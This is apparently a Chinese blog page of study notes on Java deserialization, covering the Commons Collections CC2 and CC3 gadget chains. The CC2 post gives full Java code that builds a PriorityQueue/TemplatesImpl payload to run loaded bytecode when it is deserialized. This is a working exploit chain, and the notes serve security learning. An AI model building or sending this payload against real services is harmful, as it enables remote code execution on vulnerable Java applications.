CommonsCollections 2 思路
category
JAVA WEB
date
Nov 22, 2023
slug
javasec7
status
Published
summary
type
Post
password
tags
JAVA
CC 2 链也是基于 CommonsCollections 4.0 版本,其与 CC3 极其相似,区别在于:
- CC 3 中通过 TrAXFilter 调用 TemplatesImpl.newTransformer
- CC 2 中直接通过 InvokerTransformer 调用 TemplatesImpl.newTransformer
TemplatesImpl templates = new TemplatesImpl(); Class templat = templates.getClass(); Field _nameField = templat.getDeclaredField("_name"); _nameField.setAccessible(true); _nameField.set(templates,"aa"); Field _tfactoryField = templat.getDeclaredField("_tfactory"); _tfactoryField.setAccessible(true); _tfactoryField.set(templates,new TransformerFactoryImpl()); Field _bytecodesField = templat.getDeclaredField("_bytecodes"); _bytecodesField.setAccessible(true); byte[] code = Files.readAllBytes(Paths.get("C:\\Users\\11863\\IdeaProjects\\CC1\\target\\classes\\org\\example\\CC3_TEST_OutClass.class")); byte [][] finalCode = {code}; _bytecodesField.set(templates,finalCode); InvokerTransformer<Object, Object> invokerTransformer = new InvokerTransformer<>("newTransformer", new Class[]{}, new Object[]{}); TransformingComparator transformingComparator = new TransformingComparator<>(new ConstantTransformer<>(1)); PriorityQueue<Object> priorityQueue = new PriorityQueue<>(transformingComparator); // -------------------------------- 主要关注下方代码 -------------------------------- \\ priorityQueue.add(templates); priorityQueue.add(2); Class comparator = transformingComparator.getClass(); Field comparatorDeclaredField = comparator.getDeclaredField("transformer"); comparatorDeclaredField.setAccessible(true); comparatorDeclaredField.set(transformingComparator,invokerTransformer); serialize(priorityQueue); unserialize("ser.bin");
CommonsCollections 3 思路
category
JAVA WEB
date
Nov 1, 2023
slug
javasec5
status
Published
summary
type
Post
password
tags
JAVA
与 CC1 与 CC3 的构造调用可执行命令类的方法实现任意命令执行不同,CC 3、CC 2、CC 4 是通过动态类加载,来加载执行自己的类代码
- 任意命令执行:CC1 + CC3
- 任意代码执行:CC2 + CC3 + CC4
由之前类加载一章可知,我们调用 loadClass 时其中调用了 findClass 并最终调用 defineClass 加载了类,所以在 CC3 中,我们尝试寻找调用 defineClass 的地方完成对我们自定义类的加载并执行其中的代码
统计
文章数:
193
访问量:
访客数:
Latest posts
是否存在默认构造 | 析构函数
2023-12-18
CommonsCollections 2 思路
2023-12-18
CommonsCollections 4 思路
2023-12-18
CommonsCollections 3 思路
2023-12-18
CommonsCollections 6 思路
2023-12-18
Recent Comments
Loading...